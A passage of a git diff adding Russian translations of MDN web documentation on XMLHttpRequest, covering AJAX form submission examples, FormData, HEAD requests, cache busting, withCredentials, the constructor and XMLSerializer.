+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      Your name: &lt;input type="text" name="user" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Your message:&lt;br /&gt;
+      &lt;textarea name="message" cols="40" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>Для того, чтобы произвести его тест, создайте страницу с названием <strong>register.php</strong> (и укажите атрибут <code>action</code> одной из данных форм) и добавьте данный <em>минимальный</em> контент</p>
+
+<pre class="brush: php notranslate">&lt;?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+</pre>
+
+<p>Синтаксис данного скрипта представлен ниже:</p>
+
+<pre class="syntaxbox notranslate">AJAXSubmit(myForm);</pre>
+
+<div class="note"><strong>Заметка:</strong> Данный фреимворк использует <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API для передачи загрузочных файлов. Это новыйAPI и его невозможно использовать IE9 и ниже. В связи с этим, загрузки только с использованием AJAX воспринимаются, лишь как <strong>экспериментальные</strong>. Если вам не требуется загружать бинарные файлы, то данный фреимворк работает в большинстве современных браузерах.</div>
+
+<div class="note"><strong>Note:</strong> The best way to send binary content is via <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffers</a> or <a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob">Blobs</a> in conjuncton with the <a href="/en-US/docs/DOM/XMLHttpRequest#send%28%29" title="/en-US/docs/DOM/XMLHttpRequest#send()"><code>send()</code></a> method and possibly the <a href="/en-US/docs/DOM/FileReader#readAsArrayBuffer()" title="/en-US/docs/DOM/FileReader#readAsArrayBuffer()"><code>readAsArrayBuffer()</code></a> method of the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API. But, since the aim of this script is to work with a <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> raw data, we used the <a href="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary%28%29" title="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()"><code>sendAsBinary()</code></a> method in conjunction with the <a href="/en-US/docs/DOM/FileReader#readAsBinaryString%28%29" title="/en-US/docs/DOM/FileReader#readAsBinaryString()"><code>readAsBinaryString()</code></a> method of the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API. As such, the above script makes sense only when you are dealing with small files. If you do not intend to upload binary content, consider instead using the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> API.</div>
+
+<div class="note"><strong>Note:</strong> The non-standard <code>sendAsBinary </code>method is considered deprecated as of Gecko 31 {{ geckoRelease(31) }} and will be removed soon. The standard <code>send(Blob data)</code> method can be used instead.</div>
+
+<h3 id="Используя_объекты_FormData">Используя объекты FormData</h3>
+
+<p>The <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> constructor lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Using FormData Objects</a> page. For didactic purpose only we post here <strong>a <em>translation</em> of <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous example</a> transformed so as to make use of the <code>FormData</code> API</strong>. Note the brevity of the code:</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with FormData &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), true);
+    oReq.send(null);
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with FormData&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;p&gt;The text/plain encoding is not supported by the FormData API.&lt;/p&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<div class="note"><strong>Note:</strong> As we said,<strong> {{domxref("FormData")}} objects are not <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> objects</strong>. If you want to stringify a submitted data, use <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous <em>pure</em>-AJAX example</a>. Note also that, although in this example there are some <code>file</code> {{ HTMLElement("input") }} fields, <strong>when you submit a form through the <code>FormData</code> API you do not need to use the <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API also</strong>: files are automatically loaded and uploaded.</div>
+
+<h2 id="Получить_дату_последнего_изменения">Получить дату последнего изменения</h2>
+
+<pre class="brush: js notranslate">function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified"));  /* A valid GMTString date or null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* use HEAD if you only need the headers! */, "yourpage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();</pre>
+
+<h3 id="Do_something_when_last_modified_date_changes">Do something when last modified date changes</h3>
+
+<p>Let's create these two functions:</p>
+
+<pre class="brush: js notranslate">function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif &gt; nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) &amp;&amp; this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* use HEAD - we only need the headers! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}</pre>
+
+<p>Test:</p>
+
+<pre class="brush: js notranslate">/* Let's test the file "yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});</pre>
+
+<p>If you want to know <strong>whether <em>the current page</em> has changed</strong>, please read the article about <a href="/en-US/docs/Web/API/document.lastModified" title="/en-US/docs/Web/API/document.lastModified"><code>document.lastModified</code></a>.</p>
+
+<h2 id="Межсайтовые_XMLHttpRequest">Межсайтовые XMLHttpRequest</h2>
+
+<p>Современные браузеры поддерживают межсайтовые запросы по стандарту <a href="/en-US/docs/HTTP_access_control" title="HTTP access control">Access Control for Cross-Site Requests</a>. Для этого, серверу необходимо дополнительно указывать заголовок <code>origin</code>. В противном случае, выбрасывается исключение <code>INVALID_ACCESS_ERR</code>.</p>
+
+<h2 id="Обход_кеширования">Обход кеширования</h2>
+
+<p>Для кросс-браузерного обхода кеширования в конец URL-запроса достаточно добавить случайную строку в GET-параметры, то есть сразу после «?», например:</p>
+
+<pre class="notranslate">http://foo.com/bar.html -&gt; http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -&gt; http://foo.com/bar.html?foobar=baz&amp;12345
+</pre>
+
+<p>Таким образом, каждый новый запрос будет происходить по новому URL и кеширование страницы не будет производиться.</p>
+
+<p>Автоматизировать этот подход можно следующим сниппетом:</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&amp;" : "?") + (new Date()).getTime(), true);
+oReq.send(null);</pre>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<p>{{fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference <code>capability.policy.&lt;policyname&gt;.XMLHttpRequest.open&lt;/policyname&gt;</code> to <code>allAccess</code> to give specific sites cross-site access.  This is no longer supported.")}}</p>
+
+<p>{{fx_minversion_note(5, "Versions of Firefox prior to Firefox 5 could use <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> to request cross-site access. This is no longer supported, even though it produces no warning and permission dialog is still presented.")}}</p>
+
+<p>The recommended way to enable cross-site scripting is to use the <code>Access-Control-Allow-Origin </code> HTTP header in the response to the XMLHttpRequest.</p>
+
+<h3 id="XMLHttpRequests_being_stopped">XMLHttpRequests being stopped</h3>
+
+<p>If you end up with an XMLHttpRequest having <code>status=0</code> and <code>statusText=null</code>, it means that the request was not allowed to be performed. It was <code><a href="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent" title="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent">UNSENT</a></code>. A likely cause for this is when the <a href="http://www.w3.org/TR/XMLHttpRequest/#xmlhttprequest-origin" style="outline: 1px dotted; outline-offset: 0pt;"><code>XMLHttpRequest</code> origin</a> (at the creation of the XMLHttpRequest) has changed when the XMLHttpRequest is then <code>open()</code>. This case can happen for example when one has an XMLHttpRequest that gets fired on an onunload event for a window: the XMLHttpRequest gets in fact created when the window to be closed is still there, and then the request is sent (ie <code>open()</code>) when this window has lost its focus and potentially different window has gained focus. The way to avoid this problem is to set a listener on the new window "activate" event that gets set when the old window has its "unload" event fired.</p>
+
+<h2 id="Using_XMLHttpRequest_from_JavaScript_modules_XPCOM_components">Using XMLHttpRequest from JavaScript modules / XPCOM components</h2>
+
+<p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.</p>
+
+<pre class="brush: js notranslate">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+</pre>
+
+<p>Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason.  If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.</p>
+
+<pre class="brush:js notranslate">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();</pre>
+
+<h2 id="Дополнительные_ссылки">Дополнительные ссылки</h2>
+
+<ol>
+ <li><a href="/en-US/docs/AJAX/Getting_Started" title="AJAX/Getting_Started">MDN AJAX introduction</a></li>
+ <li><a href="/en-US/docs/HTTP_access_control" title="HTTP access control">HTTP access control</a></li>
+ <li><a href="/en-US/docs/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL" title="How to check the security state of an XMLHTTPRequest over SSL">How to check the security state of an XMLHTTPRequest over SSL</a></li>
+ <li><a href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+ <li><a href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html">Apple developers' reference</a></li>
+ <li><a href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a href="http://www.w3.org/TR/XMLHttpRequest/">The XMLHttpRequest Object: W3C Specification</a></li>
+ <li><a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">Web Progress Events specification</a></li>
+</ol>
diff --git a/files/ru/web/api/xmlhttprequest/withcredentials/index.html b/files/ru/web/api/xmlhttprequest/withcredentials/index.html
new file mode 100644
index 0000000000..805108a15f
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/withcredentials/index.html
@@ -0,0 +1,104 @@
+---
+title: XMLHttpRequest.withCredentials
+slug: Web/API/XMLHttpRequest/withCredentials
+tags:
+  - AJAX
+  - API
+  - XMLHttpRequest
+  - Свойство
+  - Справка
+translation_of: Web/API/XMLHttpRequest/withCredentials
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Свойство<strong> XMLHttpRequest.withCredentials </strong>это {{jsxref("Boolean")}} который определяет, должны ли создаваться кросс-доменные <code>Access-Control</code> запросы с использованием таких идентификационных данных как cookie, авторизационные заголовки или TLS сертификаты. Настройка <code>withCredentials</code> бесполезна при запросах на тот же домен.</p>
+
+<p>Вдобавок, этот флаг также используется для определения, будут ли проигнорированы куки переданные в ответе. Значение по умолчанию - <code>false</code>. XMLHttpRequest с другого домена не может установить cookie на свой собственный домен в случае, если перед созданием этого запроса флаг <code>withCredentials</code> не установлен в <code>true</code>. Сторонние cookies, полученные с помощью установки <code>withCredentials</code> в true, всё равно будут соблюдать политику одинакового домена и, следовательно, не могут быть получены запрашивающим скриптом через <a href="/en-US/docs/Web/API/Document/cookie">document.cookie</a> или из заголовков ответа.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>Это свойство не влияет на запросы, отправленные на тот же домен.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечание: </strong><font face="Consolas, Liberation Mono, Courier, monospace">О</font>тветы с другого домена не могут установить куки для своего собственного домена в случае, если перед созданием запроса флаг <code>withCredentials</code> не установлен в <code>true</code>, несмотря на значение заголовков <code>Access-Control-</code>.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(3)}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[2]</sup></td>
+   <td>{{CompatIe(10)}}<sup>[1]</sup></td>
+   <td>{{CompatOpera(12)}}</td>
+   <td>{{CompatSafari("4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer версий 8 и 9 поддерживает кросс-доменные запросы (CORS) используя <a href="https://msdn.microsoft.com/en-us/library/cc288060%28VS.85%29.aspx">XDomainRequest</a>.</p>
+
+<p>[2] Начиная с Gecko 11.0 (Firefox 11.0 / Thunderbird 11.0 / SeaMonkey 2.8), Gecko больше не позволяет использовать аттрибут <code>withCredentials</code> при проведении синхронных запросов. Попытки это сделать выбросят исключение <code>NS_ERROR_DOM_INVALID_ACCESS_ERR</code>.</p>
diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
new file mode 100644
index 0000000000..53fb283a75
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
@@ -0,0 +1,58 @@
+---
+title: XMLHttpRequest()
+slug: Web/API/XMLHttpRequest/XMLHttpRequest
+tags:
+  - API
+  - Reference
+  - XHR
+  - XMLHttpRequest
+  - Конструктор
+  - Получение данных
+  - Чтение данных
+translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
+---
+<h4 id="XMLHttpRequest"><strong>XMLHttpRequest</strong></h4>
+
+<p><span class="seoSummary">Конструктор <code><strong>XMLHttpRequest()</strong></code> создаёт новый объект {{domxref("XMLHttpRequest")}}.</span></p>
+
+<p>Для получения подробной информации о том, как использовать <code>XMLHttpRequest</code>, см. <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest();
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый объект {{domxref("XMLHttpRequest")}}. Этот объект должен быть подготовлен вызовом функции {{domxref("XMLHttpRequest.open", "open()")}} перед вызовом {{domxref("XMLHttpRequest.send", "send()")}} для отправки запроса на сервер.</p>
+
+<h2 id="Нестандартный_синтаксис_Firefox">Нестандартный синтаксис Firefox </h2>
+
+<p>В Firefox 16 в конструктор добавлен нестандартный параметр, который позволяет включать анонимный режим (см. {{Bug("692677")}}). Установка флага <code>mozAnon</code> в значение <code>true</code> по сути напоминает конструктор <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a>, описанный в более старых версиях спецификации XMLHttpRequest.</p>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest(<var>paramsDictionary</var>);</pre>
+
+<h3 id="Параметры_нестандартные">Параметры (нестандартные)</h3>
+
+<dl>
+ <dt><code>objParameters</code> </dt>
+ <dd>Существует два флага, которые можно установить:
+ <dl>
+  <dt><code>mozAnon</code></dt>
+  <dd>Boolean: Установка этого флага в значение <code>true</code> приведет к тому, что браузер не будет раскрывать {{Glossary("origin")}} и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">учётные данные пользователя</a> при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.</dd>
+  <dt><code>mozSystem</code></dt>
+  <dd>Boolean: Установка этого флага в значение <code>true</code> позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. <em>Требует установки флага <code>mozAnon: true</code>, т.к. это нельзя сочетать с отправкой файлов cookie или других учетных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}}));  не работает на произвольных веб-страницах, загруженных в Firefox.</em></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML в XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html
new file mode 100644
index 0000000000..45c917981d
--- /dev/null
+++ b/files/ru/web/api/xmlserializer/index.html
@@ -0,0 +1,108 @@
+---
+title: XMLSerializer
+slug: Web/API/XMLSerializer
+translation_of: Web/API/XMLSerializer
+---
+<div dir="ltr" id="result_box" style="text-align: left;"><code>XMLSerializer </code>может быть использован для конвертации веток DOM-дерева или дерева целиком в текст. <code>XMLSerializer </code>доступен непривелегированным скриптам.</div>
+
+<p>Для получения более подробной информации об <code>XMLSerializer</code> в расширениях для браузера Firefox, пожалуйста обратитесь к документции <code><a href="/en-US/docs/nsIDOMSerializer" title="nsIDOMSerializer">nsIDOMSerializer</a></code>.</p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt id="serializeToString"><code>XMLSerializer.serializeToString</code>()</dt>
+ <dd>Возвращает сериализованное дерево или ветку в виде строки</dd>
+ <dt id="serializeToStream"><code>XMLSerializer.serializeToStream()</code> {{ non-standard_inline() }}{{ deprecated_inline() }}</dt>
+ <dd>Поддерево, обернутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js"> var s = new XMLSerializer();
+ var d = document;
+ var str = s.serializeToString(d);
+ alert(str);</pre>
+
+<p>The next example uses XMLSerializer with <a href="/en-US/docs/DOM/element.insertAdjacentHTML" title="/en-US/docs/DOM/element.insertAdjacentHTML">insertAdjacentHTML()</a> to insert a newly created DOM Node into the Document's body. Because <a href="/en-US/docs/DOM/element.insertAdjacentHTML" title="/en-US/docs/DOM/element.insertAdjacentHTML">insertAdjacentHTML()</a> accepts a string and not a Node for its second parameter, XMLSerializer is used to first convert the node into a string.</p>
+
+<pre class="brush: js">var inp = document.createElement('input');
+var XMLS = new XMLSerializer();
+var inp_xmls = XMLS.serializeToString(inp); // Конвертируем DOM эелемент в сторку
+
+
+// Вставляет вновь созданный элемент в тело документа
+document.body.insertAdjacentHTML('afterbegin', inp_xmls);</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
